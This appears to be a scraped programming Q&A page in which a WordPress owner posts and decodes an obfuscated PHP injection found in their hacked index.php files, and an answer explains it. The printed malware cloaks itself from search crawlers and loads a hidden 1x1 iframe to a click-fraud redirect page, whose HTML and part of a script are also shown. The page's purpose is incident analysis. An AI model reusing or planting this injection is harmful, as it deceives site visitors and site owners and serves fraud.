Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share
menu search
person
editAsk a Question
Welcome To Ask or Share your Answers For Others

Categories

javascript - wordpress hacked: what does this script actually do?

in Technique[技术] by (71.8m points)

I maintain three wordpress blogs, and yesterday-morning, they were all hacked. Inside all my index.php the first line looked as follows: 

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9'))

Aside from fixing it (which seems to have worked), I am wondering what it does, and to what purpose.

So I decoded the inserted code:

error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>';
}

Roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure my site will not be blacklisted, but any visitor will still get spammed.

But I was still curious: what does it actually do?

So I followed the link to http://wumpearpmy.cz.cc/go/1 using RestClient and get the following returned HTML:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<title>http://groupon.be</title>
<head>
    <STYLE>
        BODY {
                BACKGROUND: #666; FONT: 100%  Georgia, "Times New Roman", Times, serif; COLOR: #666
        }
        A {
            COLOR: #fe701a
        }
        A:hover {
            COLOR: #fdc336
        }       
        P {
            FONT: 105% century
        }       
        .main_wrapper{
            width:90%; margin:auto; border:10px solid #888888; background-color:#FFFFFF; margin-top:25px; height:450px;
        }
        .skipimage{margin:auto; text-align:center; height:30%}      
        .img_wrapper{background-image:url(continue.gif); background-position:top; background-repeat:no-repeat; width:435px; height:215px}
    </style>



        <script type="text/javascript">
                function getCookie(name){var start=document.cookie.indexOf(name+"=");var len=start+name.length+1;if((!start)&&(name!=document.cookie.substring(0,name.length))){return null;}
                if(start==-1)return null;var end=document.cookie.indexOf(';',len);if(end==-1)end=document.cookie.length;return unescape(document.cookie.substring(len,end));}function setCookie(name,value,expires,path,domain,secure){var today=new Date();today.setTime(today.getTime());
                var expires_date=new Date(today.getTime()+(expires));document.cookie=name+'='+escape(value)+
                ((expires)?';expires='+expires_date.toGMTString():'')+
                ((path)?';path='+path:'')+
                ((domain)?';domain='+domain:'')+
                ((secure)?';secure':'');}
        </script>
    </head>
<body>

    <form method="get" action="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names" name="rr">
        <input type="hidden" name="sid" value="294787600" />
        <input type="hidden" name="sa" value="13" />
        <input type="hidden" name="p" value="1" />
        <input type="hidden" name="s" value="98795" />
        <input type="hidden" name="qt" value="1307865129" />
        <input type="hidden" name="q" value="domain names" />
        <input type="hidden" name="rf" value="" />
        <input type="hidden" name="enc" value="" />
        <input type="hidden" name="enk" value="RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm" />
        <input type="hidden" name="xsc" value="" />
        <input type="hidden" name="xsp" value="" />
        <input type="hidden" name="xsm" value="" />
        <input type="hidden" name="xuc" value=""/>
        <input type="hidden" name="xcf" value=""/>
        <input type="hidden" name="xai" value=""/>
                <input type="hidden" name="qxcli" value="8904e76aaa70acee" />
                <input type="hidden" name="qxsi" value="e0f63d5350e1c1d9" />
                <input type="hidden" name="mk" value="1" />
                <input type="hidden" name="ScreenX" value="0" />
        <input type="hidden" name="ScreenY" value="0" />
        <input type="hidden" name="BrowserX" value="0" />
        <input type="hidden" name="BrowserY" value="0"/>
        <input type="hidden" name="MouseX" value="0"/>
        <input type="hidden" name="MouseY" value="0"/>    
        <input type="hidden" name="is_iframe" value="0"/>  
    </form>

    <div class="main_wrapper">
    <table width="60%" border="0" align="center" cellpadding="0" cellspacing="0" height="100%">
    <tr>
        <td align="center" valign="middle">
        <table width="435" border="0" cellspacing="0" cellpadding="0">
            <tr>
            <td class="img_wrapper" >
            <div style="width:60%; margin:auto;height:215px;">
                <div class="skipimage" style="padding-top:40px;">
                    <!-- a href="javascript:void(0)" onclick="press();"><img src="skip.gif" / border="0"></a -->
                    <a href="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names&enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm&rf=&qxcli=8904e76aaa70acee&qxsi=e0f63d5350e1c1d9"><img src="skip.gif" / border="0"></a>
                </div>
                <div class="skipimage">
                    <img src="ajax-loader.gif" / border="0">
                    <P><SPAN>Your request is loading...</SPAN></P>
                </div>
            </div>
            </td>
        </tr>
        </table>
        <br />
        <p>If you are not redirected within 2 seconds <a href="http://clicks.maximumspeedfind.com/xtr3_new?q=domain+names&enk=RsmGuQe5xoEG4yaZj4mPyQe5J6mPiWaB5sHGqSaRJ+Mm&rf=&qxcli=8904e76aaa70acee&qxsi=e0f63d5350e1c1d9">click here</a> to continue</p>
        </td>
    </tr>
    </table>
    </div>
    <script type="text/javascript">

                        var hexcase=0;var b64pad="";var chrsz=8;function hex_md5(s){return binl2hex(core_md5(str2binl(s),s.length*chrsz));}
                        function core_md5(x,len){x[len>>5]|=0x80<<((len)%32);x[(((len+64)>>>9)<<4)+14]=len;var a=1732584193;var b=-271733879;var c=-1732584194;var d=271733878;for(var i=0;i<x.length;i+=16){var olda=a;var oldb=b;var oldc=c;var oldd=d;a=md5_ff(a,b,c,d,x[i+0],7,-680876936);d=md5_ff(d,a,b,c,x[i+1],12,-389564586);c=md5_ff(c,d,a,b,x[i+2],17,606105819);b=md5_ff(b,c,d,a,x[i+3],22,-1044525330);a=md5_ff(a,b,c,d,x[i+4],7,-176418897);d=md5_ff(d,a,b,c,x[i+5],12,1200080426);c=md5_ff(c,d,a,b,x[i+6],17,-1473231341);b=md5_ff(b,c,d,a,x[i+7],22,-45705983);a=md5_ff(a,b,c,d,x[i+8],7,1770035416);d=md5_ff(d,a,b,c,x[i+9],12,-1958414417);c=md5_ff(c,d,a,b,x[i+10],17,-42063);b=md5_ff(b,c,d,a,x[i+11],22,-1990404162);a=md5_ff(a,b,c,d,x[i+12],7,1804603682);d=md5_ff(d,a,b,c,x[i+13],12,-40341101);c=md5_ff(c,d,a,b,x[i+14],17,-1502002290);b=md5_ff(b,c,d,a

与恶龙缠斗过久,自身亦成为恶龙；凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
130 views
Welcome To Ask or Share your Answers For Others

1 Answer

by (71.8m points)

First off, it hides itself from crawlers that would detect it and alert the webmaster. Second, it appears to be a phishing attack. Well, not quite. I think someone was getting paid for the number of impressions they got, and faked some by using iframes.

The short version is: nothing wholesome.


与恶龙缠斗过久,自身亦成为恶龙；凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share

Just Browsing Browsing

548k questions

547k answers

4 comments

86.3k users

Most popular tags

Theme made by Momin Raza, Modified by Ostack
Powered by Question2Answer
...